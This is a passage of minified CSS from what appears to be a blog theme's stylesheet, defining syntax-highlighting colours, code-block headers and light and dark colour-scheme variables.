.c1,html[data-mode=light] .highlight .c1{color:#998;font-style:italic}html:not([data-mode]) .highlight .cs,html[data-mode=light] .highlight .cs{color:#999;font-weight:bold;font-style:italic}html:not([data-mode]) .highlight .gd,html[data-mode=light] .highlight .gd{color:#d01040;background-color:#fdd}html:not([data-mode]) .highlight .ge,html[data-mode=light] .highlight .ge{color:#000;font-style:italic}html:not([data-mode]) .highlight .gr,html[data-mode=light] .highlight .gr{color:#a00}html:not([data-mode]) .highlight .gh,html[data-mode=light] .highlight .gh{color:#999}html:not([data-mode]) .highlight .gi,html[data-mode=light] .highlight .gi{color:teal;background-color:#dfd}html:not([data-mode]) .highlight .go,html[data-mode=light] .highlight .go{color:#888}html:not([data-mode]) .highlight .gp,html[data-mode=light] .highlight .gp{color:#555}html:not([data-mode]) .highlight .gs,html[data-mode=light] .highlight .gs{font-weight:bold}html:not([data-mode]) .highlight .gu,html[data-mode=light] .highlight .gu{color:#aaa}html:not([data-mode]) .highlight .gt,html[data-mode=light] .highlight .gt{color:#a00}html:not([data-mode]) .highlight .kc,html[data-mode=light] .highlight .kc{color:#000;font-weight:bold}html:not([data-mode]) .highlight .kd,html[data-mode=light] .highlight .kd{color:#000;font-weight:bold}html:not([data-mode]) .highlight .kn,html[data-mode=light] .highlight .kn{color:#000;font-weight:bold}html:not([data-mode]) .highlight .kp,html[data-mode=light] .highlight .kp{color:#000;font-weight:bold}html:not([data-mode]) .highlight .kr,html[data-mode=light] .highlight .kr{color:#000;font-weight:bold}html:not([data-mode]) .highlight .kt,html[data-mode=light] .highlight .kt{color:#458;font-weight:bold}html:not([data-mode]) .highlight .m,html[data-mode=light] .highlight .m{color:#099}html:not([data-mode]) .highlight .s,html[data-mode=light] .highlight .s{color:#d01040}html:not([data-mode]) .highlight .na,html[data-mode=light] .highlight .na{color:teal}html:not([data-mode]) .highlight .nb,html[data-mode=light] .highlight .nb{color:#0086b3}html:not([data-mode]) .highlight .nc,html[data-mode=light] .highlight .nc{color:#458;font-weight:bold}html:not([data-mode]) .highlight .no,html[data-mode=light] .highlight .no{color:teal}html:not([data-mode]) .highlight .nd,html[data-mode=light] .highlight .nd{color:#3c5d5d;font-weight:bold}html:not([data-mode]) .highlight .ni,html[data-mode=light] .highlight .ni{color:purple}html:not([data-mode]) .highlight .ne,html[data-mode=light] .highlight .ne{color:#900;font-weight:bold}html:not([data-mode]) .highlight .nf,html[data-mode=light] .highlight .nf{color:#900;font-weight:bold}html:not([data-mode]) .highlight .nl,html[data-mode=light] .highlight .nl{color:#900;font-weight:bold}html:not([data-mode]) .highlight .nn,html[data-mode=light] .highlight .nn{color:#555}html:not([data-mode]) .highlight .nt,html[data-mode=light] .highlight .nt{color:navy}html:not([data-mode]) .highlight .nv,html[data-mode=light] .highlight .nv{color:teal}html:not([data-mode]) .highlight .ow,html[data-mode=light] .highlight .ow{color:#000;font-weight:bold}html:not([data-mode]) .highlight .w,html[data-mode=light] .highlight .w{color:#bbb}html:not([data-mode]) .highlight .mf,html[data-mode=light] .highlight .mf{color:#099}html:not([data-mode]) .highlight .mh,html[data-mode=light] .highlight .mh{color:#099}html:not([data-mode]) .highlight .mi,html[data-mode=light] .highlight .mi{color:#099}html:not([data-mode]) .highlight .mo,html[data-mode=light] .highlight .mo{color:#099}html:not([data-mode]) .highlight .sb,html[data-mode=light] .highlight .sb{color:#d01040}html:not([data-mode]) .highlight .sc,html[data-mode=light] .highlight .sc{color:#d01040}html:not([data-mode]) .highlight .sd,html[data-mode=light] .highlight .sd{color:#d01040}html:not([data-mode]) .highlight .s2,html[data-mode=light] .highlight .s2{color:#d01040}html:not([data-mode]) .highlight .se,html[data-mode=light] .highlight .se{color:#d01040}html:not([data-mode]) .highlight .sh,html[data-mode=light] .highlight .sh{color:#d01040}html:not([data-mode]) .highlight .si,html[data-mode=light] .highlight .si{color:#d01040}html:not([data-mode]) .highlight .sx,html[data-mode=light] .highlight .sx{color:#d01040}html:not([data-mode]) .highlight .sr,html[data-mode=light] .highlight .sr{color:#009926}html:not([data-mode]) .highlight .s1,html[data-mode=light] .highlight .s1{color:#d01040}html:not([data-mode]) .highlight .ss,html[data-mode=light] .highlight .ss{color:#990073}html:not([data-mode]) .highlight .bp,html[data-mode=light] .highlight .bp{color:#999}html:not([data-mode]) .highlight .vc,html[data-mode=light] .highlight .vc{color:teal}html:not([data-mode]) .highlight .vg,html[data-mode=light] .highlight .vg{color:teal}html:not([data-mode]) .highlight .vi,html[data-mode=light] .highlight .vi{color:teal}html:not([data-mode]) .highlight .il,html[data-mode=light] .highlight .il{color:#099}html:not([data-mode]) [class^=prompt-],html[data-mode=light] [class^=prompt-]{--inline-code-bg: #fbfafa}html[data-mode=dark]{--language-border-color: rgba(84, 83, 83, 0.27);--highlight-bg-color: #252525;--highlighter-rouge-color: #de6b18;--highlight-lineno-color: #6c6c6d;--inline-code-bg: #272822;--code-header-text-color: #6a6a6a;--code-header-muted-color: rgb(60, 60, 60);--code-header-icon-color: rgb(86, 86, 86);--clipboard-checked-color: #2bcc2b;--filepath-text-color: #bdbdbd}html[data-mode=dark] pre{color:#bfbfbf}html[data-mode=dark] .highlight .gp{color:#818c96}html[data-mode=dark] .highlight pre{background-color:var(--highlight-bg-color)}html[data-mode=dark] .highlight .hll{background-color:var(--highlight-bg-color)}html[data-mode=dark] .highlight .c{color:#75715e}html[data-mode=dark] .highlight .err{color:#960050;background-color:#1e0010}html[data-mode=dark] .highlight .k{color:#66d9ef}html[data-mode=dark] .highlight .l{color:#ae81ff}html[data-mode=dark] .highlight .n{color:#f8f8f2}html[data-mode=dark] .highlight .o{color:#f92672}html[data-mode=dark] .highlight .p{color:#f8f8f2}html[data-mode=dark] .highlight .cm{color:#75715e}html[data-mode=dark] .highlight .cp{color:#75715e}html[data-mode=dark] .highlight .c1{color:#75715e}html[data-mode=dark] .highlight .cs{color:#75715e}html[data-mode=dark] .highlight .ge{color:inherit;font-style:italic}html[data-mode=dark] .highlight .gs{font-weight:bold}html[data-mode=dark] .highlight .kc{color:#66d9ef}html[data-mode=dark] .highlight .kd{color:#66d9ef}html[data-mode=dark] .highlight .kn{color:#f92672}html[data-mode=dark] .highlight .kp{color:#66d9ef}html[data-mode=dark] .highlight .kr{color:#66d9ef}html[data-mode=dark] .highlight .kt{color:#66d9ef}html[data-mode=dark] .highlight .ld{color:#e6db74}html[data-mode=dark] .highlight .m{color:#ae81ff}html[data-mode=dark] .highlight .s{color:#e6db74}html[data-mode=dark] .highlight .na{color:#a6e22e}html[data-mode=dark] .highlight .nb{color:#f8f8f2}html[data-mode=dark] .highlight .nc{color:#a6e22e}html[data-mode=dark] .highlight .no{color:#66d9ef}html[data-mode=dark] .highlight .nd{color:#a6e22e}html[data-mode=dark] .highlight .ni{color:#f8f8f2}html[data-mode=dark] .highlight .ne{color:#a6e22e}html[data-mode=dark] .highlight .nf{color:#a6e22e}html[data-mode=dark] .highlight .nl{color:#f8f8f2}html[data-mode=dark] .highlight .nn{color:#f8f8f2}html[data-mode=dark] .highlight .nx{color:#a6e22e}html[data-mode=dark] .highlight .py{color:#f8f8f2}html[data-mode=dark] .highlight .nt{color:#f92672}html[data-mode=dark] .highlight .nv{color:#f8f8f2}html[data-mode=dark] .highlight .ow{color:#f92672}html[data-mode=dark] .highlight .w{color:#f8f8f2}html[data-mode=dark] .highlight .mf{color:#ae81ff}html[data-mode=dark] .highlight .mh{color:#ae81ff}html[data-mode=dark] .highlight .mi{color:#ae81ff}html[data-mode=dark] .highlight .mo{color:#ae81ff}html[data-mode=dark] .highlight .sb{color:#e6db74}html[data-mode=dark] .highlight .sc{color:#e6db74}html[data-mode=dark] .highlight .sd{color:#e6db74}html[data-mode=dark] .highlight .s2{color:#e6db74}html[data-mode=dark] .highlight .se{color:#ae81ff}html[data-mode=dark] .highlight .sh{color:#e6db74}html[data-mode=dark] .highlight .si{color:#e6db74}html[data-mode=dark] .highlight .sx{color:#e6db74}html[data-mode=dark] .highlight .sr{color:#e6db74}html[data-mode=dark] .highlight .s1{color:#e6db74}html[data-mode=dark] .highlight .ss{color:#e6db74}html[data-mode=dark] .highlight .bp{color:#f8f8f2}html[data-mode=dark] .highlight .vc{color:#f8f8f2}html[data-mode=dark] .highlight .vg{color:#f8f8f2}html[data-mode=dark] .highlight .vi{color:#f8f8f2}html[data-mode=dark] .highlight .il{color:#ae81ff}html[data-mode=dark] .highlight .gu{color:#75715e}html[data-mode=dark] .highlight .gd{color:#f92672;background-color:#561c08}html[data-mode=dark] .highlight .gi{color:#a6e22e;background-color:#0b5858}}@media(prefers-color-scheme: dark){html:not([data-mode]),html[data-mode=dark]{--language-border-color: rgba(84, 83, 83, 0.27);--highlight-bg-color: #252525;--highlighter-rouge-color: #de6b18;--highlight-lineno-color: #6c6c6d;--inline-code-bg: #272822;--code-header-text-color: #6a6a6a;--code-header-muted-color: rgb(60, 60, 60);--code-header-icon-color: rgb(86, 86, 86);--clipboard-checked-color: #2bcc2b;--filepath-text-color: #bdbdbd}html:not([data-mode]) pre,html[data-mode=dark] pre{color:#bfbfbf}html:not([data-mode]) .highlight .gp,html[data-mode=dark] .highlight .gp{color:#818c96}html:not([data-mode]) .highlight pre,html[data-mode=dark] .highlight pre{background-color:var(--highlight-bg-color)}html:not([data-mode]) .highlight .hll,html[data-mode=dark] .highlight .hll{background-color:var(--highlight-bg-color)}html:not([data-mode]) .highlight .c,html[data-mode=dark] .highlight .c{color:#75715e}html:not([data-mode]) .highlight .err,html[data-mode=dark] .highlight .err{color:#960050;background-color:#1e0010}html:not([data-mode]) .highlight .k,html[data-mode=dark] .highlight .k{color:#66d9ef}html:not([data-mode]) .highlight .l,html[data-mode=dark] .highlight .l{color:#ae81ff}html:not([data-mode]) .highlight .n,html[data-mode=dark] .highlight .n{color:#f8f8f2}html:not([data-mode]) .highlight .o,html[data-mode=dark] .highlight .o{color:#f92672}html:not([data-mode]) .highlight .p,html[data-mode=dark] .highlight .p{color:#f8f8f2}html:not([data-mode]) .highlight .cm,html[data-mode=dark] .highlight .cm{color:#75715e}html:not([data-mode]) .highlight .cp,html[data-mode=dark] .highlight .cp{color:#75715e}html:not([data-mode]) .highlight .c1,html[data-mode=dark] .highlight .c1{color:#75715e}html:not([data-mode]) .highlight .cs,html[data-mode=dark] .highlight .cs{color:#75715e}html:not([data-mode]) .highlight .ge,html[data-mode=dark] .highlight .ge{color:inherit;font-style:italic}html:not([data-mode]) .highlight .gs,html[data-mode=dark] .highlight .gs{font-weight:bold}html:not([data-mode]) .highlight .kc,html[data-mode=dark] .highlight .kc{color:#66d9ef}html:not([data-mode]) .highlight .kd,html[data-mode=dark] .highlight .kd{color:#66d9ef}html:not([data-mode]) .highlight .kn,html[data-mode=dark] .highlight .kn{color:#f92672}html:not([data-mode]) .highlight .kp,html[data-mode=dark] .highlight .kp{color:#66d9ef}html:not([data-mode]) .highlight .kr,html[data-mode=dark] .highlight .kr{color:#66d9ef}html:not([data-mode]) .highlight .kt,html[data-mode=dark] .highlight .kt{color:#66d9ef}html:not([data-mode]) .highlight .ld,html[data-mode=dark] .highlight .ld{color:#e6db74}html:not([data-mode]) .highlight .m,html[data-mode=dark] .highlight .m{color:#ae81ff}html:not([data-mode]) .highlight .s,html[data-mode=dark] .highlight .s{color:#e6db74}html:not([data-mode]) .highlight .na,html[data-mode=dark] .highlight .na{color:#a6e22e}html:not([data-mode]) .highlight .nb,html[data-mode=dark] .highlight .nb{color:#f8f8f2}html:not([data-mode]) .highlight .nc,html[data-mode=dark] .highlight .nc{color:#a6e22e}html:not([data-mode]) .highlight .no,html[data-mode=dark] .highlight .no{color:#66d9ef}html:not([data-mode]) .highlight .nd,html[data-mode=dark] .highlight .nd{color:#a6e22e}html:not([data-mode]) .highlight .ni,html[data-mode=dark] .highlight .ni{color:#f8f8f2}html:not([data-mode]) .highlight .ne,html[data-mode=dark] .highlight .ne{color:#a6e22e}html:not([data-mode]) .highlight .nf,html[data-mode=dark] .highlight .nf{color:#a6e22e}html:not([data-mode]) .highlight .nl,html[data-mode=dark] .highlight .nl{color:#f8f8f2}html:not([data-mode]) .highlight .nn,html[data-mode=dark] .highlight .nn{color:#f8f8f2}html:not([data-mode]) .highlight .nx,html[data-mode=dark] .highlight .nx{color:#a6e22e}html:not([data-mode]) .highlight .py,html[data-mode=dark] .highlight .py{color:#f8f8f2}html:not([data-mode]) .highlight .nt,html[data-mode=dark] .highlight .nt{color:#f92672}html:not([data-mode]) .highlight .nv,html[data-mode=dark] .highlight .nv{color:#f8f8f2}html:not([data-mode]) .highlight .ow,html[data-mode=dark] .highlight .ow{color:#f92672}html:not([data-mode]) .highlight .w,html[data-mode=dark] .highlight .w{color:#f8f8f2}html:not([data-mode]) .highlight .mf,html[data-mode=dark] .highlight .mf{color:#ae81ff}html:not([data-mode]) .highlight .mh,html[data-mode=dark] .highlight .mh{color:#ae81ff}html:not([data-mode]) .highlight .mi,html[data-mode=dark] .highlight .mi{color:#ae81ff}html:not([data-mode]) .highlight .mo,html[data-mode=dark] .highlight .mo{color:#ae81ff}html:not([data-mode]) .highlight .sb,html[data-mode=dark] .highlight .sb{color:#e6db74}html:not([data-mode]) .highlight .sc,html[data-mode=dark] .highlight .sc{color:#e6db74}html:not([data-mode]) .highlight .sd,html[data-mode=dark] .highlight .sd{color:#e6db74}html:not([data-mode]) .highlight .s2,html[data-mode=dark] .highlight .s2{color:#e6db74}html:not([data-mode]) .highlight .se,html[data-mode=dark] .highlight .se{color:#ae81ff}html:not([data-mode]) .highlight .sh,html[data-mode=dark] .highlight .sh{color:#e6db74}html:not([data-mode]) .highlight .si,html[data-mode=dark] .highlight .si{color:#e6db74}html:not([data-mode]) .highlight .sx,html[data-mode=dark] .highlight .sx{color:#e6db74}html:not([data-mode]) .highlight .sr,html[data-mode=dark] .highlight .sr{color:#e6db74}html:not([data-mode]) .highlight .s1,html[data-mode=dark] .highlight .s1{color:#e6db74}html:not([data-mode]) .highlight .ss,html[data-mode=dark] .highlight .ss{color:#e6db74}html:not([data-mode]) .highlight .bp,html[data-mode=dark] .highlight .bp{color:#f8f8f2}html:not([data-mode]) .highlight .vc,html[data-mode=dark] .highlight .vc{color:#f8f8f2}html:not([data-mode]) .highlight .vg,html[data-mode=dark] .highlight .vg{color:#f8f8f2}html:not([data-mode]) .highlight .vi,html[data-mode=dark] .highlight .vi{color:#f8f8f2}html:not([data-mode]) .highlight .il,html[data-mode=dark] .highlight .il{color:#ae81ff}html:not([data-mode]) .highlight .gu,html[data-mode=dark] .highlight .gu{color:#75715e}html:not([data-mode]) .highlight .gd,html[data-mode=dark] .highlight .gd{color:#f92672;background-color:#561c08}html:not([data-mode]) .highlight .gi,html[data-mode=dark] .highlight .gi{color:#a6e22e;background-color:#0b5858}html[data-mode=light]{--language-border-color: rgba(172, 169, 169, 0.2);--highlight-bg-color: #f7f7f7;--highlighter-rouge-color: #3f596f;--highlight-lineno-color: #c2c6cc;--inline-code-bg: #f6f6f7;--code-header-text-color: #a3a3b1;--code-header-muted-color: #ebebeb;--code-header-icon-color: #d1d1d1;--clipboard-checked-color: #43c743}html[data-mode=light] .highlight .hll{background-color:#ffc}html[data-mode=light] .highlight .c{color:#998;font-style:italic}html[data-mode=light] .highlight .err{color:#a61717;background-color:#e3d2d2}html[data-mode=light] .highlight .k{color:#000;font-weight:bold}html[data-mode=light] .highlight .o{color:#000;font-weight:bold}html[data-mode=light] .highlight .cm{color:#998;font-style:italic}html[data-mode=light] .highlight .cp{color:#999;font-weight:bold;font-style:italic}html[data-mode=light] .highlight .c1{color:#998;font-style:italic}html[data-mode=light] .highlight .cs{color:#999;font-weight:bold;font-style:italic}html[data-mode=light] .highlight .gd{color:#d01040;background-color:#fdd}html[data-mode=light] .highlight .ge{color:#000;font-style:italic}html[data-mode=light] .highlight .gr{color:#a00}html[data-mode=light] .highlight .gh{color:#999}html[data-mode=light] .highlight .gi{color:teal;background-color:#dfd}html[data-mode=light] .highlight .go{color:#888}html[data-mode=light] .highlight .gp{color:#555}html[data-mode=light] .highlight .gs{font-weight:bold}html[data-mode=light] .highlight .gu{color:#aaa}html[data-mode=light] .highlight .gt{color:#a00}html[data-mode=light] .highlight .kc{color:#000;font-weight:bold}html[data-mode=light] .highlight .kd{color:#000;font-weight:bold}html[data-mode=light] .highlight .kn{color:#000;font-weight:bold}html[data-mode=light] .highlight .kp{color:#000;font-weight:bold}html[data-mode=light] .highlight .kr{color:#000;font-weight:bold}html[data-mode=light] .highlight .kt{color:#458;font-weight:bold}html[data-mode=light] .highlight .m{color:#099}html[data-mode=light] .highlight .s{color:#d01040}html[data-mode=light] .highlight .na{color:teal}html[data-mode=light] .highlight .nb{color:#0086b3}html[data-mode=light] .highlight .nc{color:#458;font-weight:bold}html[data-mode=light] .highlight .no{color:teal}html[data-mode=light] .highlight .nd{color:#3c5d5d;font-weight:bold}html[data-mode=light] .highlight .ni{color:purple}html[data-mode=light] .highlight .ne{color:#900;font-weight:bold}html[data-mode=light] .highlight .nf{color:#900;font-weight:bold}html[data-mode=light] .highlight .nl{color:#900;font-weight:bold}html[data-mode=light] .highlight .nn{color:#555}html[data-mode=light] .highlight .nt{color:navy}html[data-mode=light] .highlight .nv{color:teal}html[data-mode=light] .highlight .ow{color:#000;font-weight:bold}html[data-mode=light] .highlight .w{color:#bbb}html[data-mode=light] .highlight .mf{color:#099}html[data-mode=light] .highlight .mh{color:#099}html[data-mode=light] .highlight .mi{color:#099}html[data-mode=light] .highlight .mo{color:#099}html[data-mode=light] .highlight .sb{color:#d01040}html[data-mode=light] .highlight .sc{color:#d01040}html[data-mode=light] .highlight .sd{color:#d01040}html[data-mode=light] .highlight .s2{color:#d01040}html[data-mode=light] .highlight .se{color:#d01040}html[data-mode=light] .highlight .sh{color:#d01040}html[data-mode=light] .highlight .si{color:#d01040}html[data-mode=light] .highlight .sx{color:#d01040}html[data-mode=light] .highlight .sr{color:#009926}html[data-mode=light] .highlight .s1{color:#d01040}html[data-mode=light] .highlight .ss{color:#990073}html[data-mode=light] .highlight .bp{color:#999}html[data-mode=light] .highlight .vc{color:teal}html[data-mode=light] .highlight .vg{color:teal}html[data-mode=light] .highlight .vi{color:teal}html[data-mode=light] .highlight .il{color:#099}html[data-mode=light] [class^=prompt-]{--inline-code-bg: #fbfafa}}div[class^=language-],figure.highlight,.highlight{background-color:var(--highlight-bg-color)}td.rouge-code{padding-left:1rem;padding-right:1.5rem}.highlighter-rouge{color:var(--highlighter-rouge-color);margin-top:.5rem;margin-bottom:1.2em}.highlight{overflow:auto;padding-top:.5rem;padding-bottom:1rem}.highlight pre{margin-bottom:0;font-size:.85rem;line-height:1.4rem;word-wrap:normal}.highlight table td pre{overflow:visible;word-break:normal}.highlight .lineno{padding-right:.5rem;min-width:2.2rem;text-align:right;color:var(--highlight-lineno-color);-webkit-user-select:none;-moz-user-select:none;-o-user-select:none;-ms-user-select:none;user-select:none}code{-webkit-hyphens:none;-ms-hyphens:none;hyphens:none}code.highlighter-rouge{font-size:.85rem;padding:3px 5px;word-break:break-word;border-radius:4px;background-color:var(--inline-code-bg)}code.filepath{background-color:inherit;color:var(--filepath-text-color);font-weight:600;padding:0}a>code.highlighter-rouge{padding-bottom:0;color:inherit}a:hover>code.highlighter-rouge{border-bottom:none}blockquote code{color:inherit}td.rouge-code a{color:inherit !important;border-bottom:none !important;pointer-events:none}div[class^=language-]{box-shadow:var(--language-border-color) 0 0 0 1px}.post-content>div[class^=language-]{margin-left:-1.25rem;margin-right:-1.25rem;border-radius:0}div.nolineno pre.lineno,div.language-plaintext pre.lineno,div.language-console pre.lineno,div.language-terminal pre.lineno{display:none}div.nolineno td.rouge-code,div.language-plaintext td.rouge-code,div.language-console td.rouge-code,div.language-terminal td.rouge-code{padding-left:1.5rem}.code-header{display:flex;justify-content:space-between;align-items:center;height:2.25rem;margin-left:1rem;margin-right:.5rem}.code-header span i{font-size:1rem;margin-right:.5rem;color:var(--code-header-icon-color)}.code-header span i.small{font-size:70%}[file] .code-header span>i{position:relative;top:1px}.code-header span::after{content:attr(data-label-text);font-size:.85rem;font-weight:600;color:var(--code-header-text-color)}.code-header button{border:1px solid rgba(0,0,0,0);height:2.25rem;width:2.25rem;padding:0;background-color:inherit}.code-header button i{color:var(--code-header-icon-color)}.code-header button[timeout]:hover{border-color:var(--clipboard-checked-color)}.code-header button[timeout] i{color:var(--clipboard-checked-color)}.code-header button:focus{outline:none}.code-header button:not([timeout]):hover{background-color:rgba(128,128,128,.37)}.code-header button:not([timeout]):hover i{color:#fff}@media all and (min-width: 576px){.post-content>div[class^=language-]{margin-left:0;margin-right:0;border-radius:.5rem}div[class^=language-] .code-header{margin-left:0;margin-right:0}div[class^=language-] .code-header::before{content:"";display:inline-block;margin-left:1rem;width:.75rem;height:.75rem;border-radius:50%;background-color:var(--code-header-muted-color);box-shadow:1.25rem 0 0 var(--code-header-muted-color),2.5rem 0 0 var(--code-header-muted-color)}}html{font-size:16px}@media(prefers-color-scheme: light){html:not([data-mode]),html[data-mode=light]{--main-bg: white;--mask-bg: #c1c3c5;--main-border-color: #f3f3f3;--text-color: #34343c;--text-muted-color: #8e8e8e;--heading-color: black;--blockquote-border-color: #eeeeee;--blockquote-text-color: #9a9a9a;--link-color: #0153ab;--link-underline-color: #dee2e6;--button-bg: #ffffff;--btn-border-color: #e9ecef;--btn-backtotop-color: #686868;--btn-backtotop-border-color: #f1f1f1;--btn-box-shadow: #eaeaea;--checkbox-color: #c5c5c5;--checkbox-checked-color: #07a8f7;--img-bg: radial-gradient( circle, rgb(255, 255, 255) 0%, rgb(239, 239, 239) 100% );--shimmer-bg: linear-gradient( 90deg, rgba(250, 250, 250, 0) 0%, rgba(232, 230, 230, 1) 50%, rgba(250, 250, 250, 0) 100% );--sidebar-bg: #f6f8fa;--sidebar-muted-color: #a2a19f;--sidebar-active-color: #1d1d1d;--sidebar-hover-bg: rgb(223, 233, 241, 0.64);--sidebar-btn-bg: white;--sidebar-btn-color: #8e8e8e;--avatar-border-color: white;--topbar-bg: rgb(255, 255, 255, 0.7);--topbar-text-color: rgb(78, 78, 78);--search-wrapper-border-color: rgb(240, 240, 240);--search-tag-bg: #f8f9fa;--search-icon-color: #c2c6cc;--input-focus-border-color: #b8b8b8;--post-list-text-color: dimgray;--btn-patinator-text-color: #555555;--btn-paginator-hover-color: var(--sidebar-bg);--btn-paginator-border-color: var(--sidebar-bg);--btn-text-color: #676666;--toc-highlight: #563d7c;--btn-share-hover-color: var(--link-color);--card-bg: white;--card-hovor-bg: #e2e2e2;--card-shadow: rgb(104, 104, 104, 0.05) 0 2px 6px 0, rgba(211, 209, 209, 0.15) 0 0 0 1px;--label-color: #616161;--relate-post-date: rgba(30, 55, 70, 0.4);--footnote-target-bg: lightcyan;--tag-bg: rgba(0, 0, 0, 0.075);--tag-border: #dee2e6;--tag-shadow: var(--btn-border-color);--tag-hover: rgb(222, 226, 230);--tb-odd-bg: #fbfcfd;--tb-border-color: #eaeaea;--dash-color: silver;--kbd-wrap-color: #bdbdbd;--kbd-text-color: var(--text-color);--kbd-bg-color: white;--prompt-text-color: rgb(46, 46, 46, 0.77);--prompt-tip-bg: rgb(123, 247, 144, 0.2);--prompt-tip-icon-color: #03b303;--prompt-info-bg: #e1f5fe;--prompt-info-icon-color: #0070cb;--prompt-warning-bg: rgb(255, 243, 205);--prompt-warning-icon-color: #ef9c03;--prompt-danger-bg: rgb(248, 215, 218, 0.56);--prompt-danger-icon-color: #df3c30;--categories-border: rgba(0, 0, 0, 0.125);--categories-hover-bg: var(--btn-border-color);--categories-icon-hover-color: darkslategray;--timeline-color: rgba(0, 0, 0, 0.075);--timeline-node-bg: #c2c6cc;--timeline-year-dot-color: #ffffff}html:not([data-mode]) [class^=prompt-],html[data-mode=light] [class^=prompt-]{--link-underline-color: rgb(219, 216, 216)}html:not([data-mode]) .dark,html[data-mode=light] .dark{display:none}html[data-mode=dark]{--main-bg: rgb(27, 27, 30);--mask-bg: rgb(68, 69, 70);--main-border-color: rgb(44, 45, 45);--text-color: rgb(175, 176, 177);--text-muted-color: rgb(107, 116, 124);--heading-color: #cccccc;--blockquote-border-color: rgb(66, 66, 66);--blockquote-text-color: rgb(117, 117, 117);--link-color: rgb(138, 180, 248);--link-underline-color: rgb(82, 108, 150);--button-bg: rgb(39, 40, 43);--btn-border-color: rgb(63, 65, 68);--btn-backtotop-color: var(--text-color);--btn-backtotop-border-color: var(--btn-border-color);--btn-box-shadow: var(--main-bg);--card-header-bg: rgb(48, 48, 48);--label-color: rgb(108, 117, 125);--checkbox-color: rgb(118, 120, 121);--checkbox-checked-color: var(--link-color);--img-bg: radial-gradient(circle, rgb(22, 22, 24) 0%, rgb(32, 32, 32) 100%);--shimmer-bg: linear-gradient( 90deg, rgba(255, 255, 255, 0) 0%, rgba(58, 55, 55, 0.4) 50%, rgba(255, 255, 255, 0) 100% );--sidebar-bg: radial-gradient(circle, #242424 0%, #1d1f27 100%);--sidebar-muted-color: #6d6c6b;--sidebar-active-color: rgb(255, 255, 255, 0.95);--sidebar-hover-bg: rgb(54, 54, 54, 0.33);--sidebar-btn-bg: rgb(84, 83, 83, 0.3);--sidebar-btn-color: #787878;--avatar-border-color: rgb(206, 206, 206, 0.9);--topbar-bg: rgb(27, 27, 30, 0.64);--topbar-text-color: var(--text-color);--search-wrapper-border-color: rgb(55, 55, 55);--search-icon-color: rgb(100, 102, 105);--input-focus-border-color: rgb(112, 114, 115);--post-list-text-color: rgb(175, 176, 177);--btn-patinator-text-color: var(--text-color);--btn-paginator-hover-color: rgb(64, 65, 66);--btn-paginator-border-color: var(--btn-border-color);--btn-text-color: var(--text-color);--toc-highlight: rgb(116, 178, 243);--tag-bg: rgb(41, 40, 40);--tag-hover: rgb(43, 56, 62);--tb-odd-bg: rgba(42, 47, 53, 0.52);--tb-even-bg: rgb(31, 31, 34);--tb-border-color: var(--tb-odd-bg);--footnote-target-bg: rgb(63, 81, 181);--btn-share-color: #6c757d;--btn-share-hover-color: #bfc1ca;--relate-post-date: var(--text-muted-color);--card-bg: #1e1e1e;--card-hovor-bg: #464d51;--card-shadow: rgb(21, 21, 21, 0.72) 0 6px 18px 0, rgb(137, 135, 135, 0.24) 0 0 0 1px;--kbd-wrap-color: #6a6a6a;--kbd-text-color: #d3d3d3;--kbd-bg-color: #242424;--prompt-text-color: rgb(216, 212, 212, 0.75);--prompt-tip-bg: rgb(22, 60, 36, 0.64);--prompt-tip-icon-color: rgb(15, 164, 15, 0.81);--prompt-info-bg: rgb(7, 59, 104, 0.8);--prompt-info-icon-color: #0075d1;--prompt-warning-bg: rgb(90, 69, 3, 0.88);--prompt-warning-icon-color: rgb(255, 165, 0, 0.8);--prompt-danger-bg: rgb(86, 28, 8, 0.8);--prompt-danger-icon-color: #cd0202;--tag-border: rgb(59, 79, 88);--tag-shadow: rgb(32, 33, 33);--search-tag-bg: var(--tag-bg);--dash-color: rgb(63, 65, 68);--categories-border: rgb(64, 66, 69, 0.5);--categories-hover-bg: rgb(73, 75, 76);--categories-icon-hover-color: white;--timeline-node-bg: rgb(150, 152, 156);--timeline-color: rgb(63, 65, 68);--timeline-year-dot-color: var(--timeline-color);color-scheme:dark}html[data-mode=dark] .light{display:none}html[data-mode=dark] hr{border-color:var(--main-border-color)}html[data-mode=dark] .categories.card,html[data-mode=dark] .list-group-item{background-color:var(--card-bg)}html[data-mode=dark] .categories .card-header{background-color:var(--card-header-bg)}html[data-mode=dark] .categories .list-group-item{border-left:none;border-right:none;padding-left:2rem;border-color:var(--categories-border)}html[data-mode=dark] .categories .list-group-item:last-child{border-bottom-color:var(--card-bg)}html[data-mode=dark] #archives li:nth-child(odd){background-image:linear-gradient(to left, rgb(26, 26, 30), rgb(39, 39, 45), rgb(39, 39, 45), rgb(39, 39, 45), rgb(26, 26, 30))}html[data-mode=dark] #disqus_thread{color-scheme:none}}@media(prefers-color-scheme: dark){html:not([data-mode]),html[data-mode=dark]{--main-bg: rgb(27, 27, 30);--mask-bg: rgb(68, 69, 70);--main-border-color: rgb(44, 45, 45);--text-color: rgb(175, 176, 177);--text-muted-color: rgb(107, 116, 124);--heading-color: #cccccc;--blockquote-border-color: rgb(66, 66, 66);--blockquote-text-color: rgb(117, 117, 117);--link-color: rgb(138, 180, 248);--link-underline-color: rgb(82, 108, 150);--button-bg: rgb(39, 40, 43);--btn-border-color: rgb(63, 65, 68);--btn-backtotop-color: var(--text-color);--btn-backtotop-border-color: var(--btn-border-color);--btn-box-shadow: var(--main-bg);--card-header-bg: rgb(48, 48, 48);--label-color: rgb(108, 117, 125);--checkbox-color: rgb(118, 120, 121);--checkbox-checked-color: var(--link-color);--img-bg: radial-gradient(circle, rgb(22, 22, 24) 0%, rgb(32, 32, 32) 100%);--shimmer-bg: linear-gradient( 90deg, rgba(255, 255, 255, 0) 0%, rgba(58, 55, 55, 0.4) 50%, rgba(255, 255, 255, 0) 100% );--sidebar-bg: radial-gradient(circle, #242424 0%, #1d1f27 100%);--sidebar-muted-color: #6d6c6b;--sidebar-active-color: rgb(255, 255, 255, 0.95);--sidebar-hover-bg: rgb(54, 54, 54, 0.33);--sidebar-btn-bg: rgb(84, 83, 83, 0.3);--sidebar-btn-color: #787878;--avatar-border-color: rgb(206, 206, 206, 0.9);--topbar-bg: rgb(27, 27, 30, 0.64);--topbar-text-color: var(--text-color);--search-wrapper-border-color: rgb(55, 55, 55);--search-icon-color: rgb(100, 102, 105);--input-focus-border-color: rgb(112, 114, 115);--post-list-text-color: rgb(175, 176, 177);--btn-patinator-text-color: var(--text-color);--btn-paginator-hover-color: rgb(64, 65, 66);--btn-paginator-border-color: var(--btn-border-color);--btn-text-color: var(--text-color);--toc-highlight: rgb(116, 178, 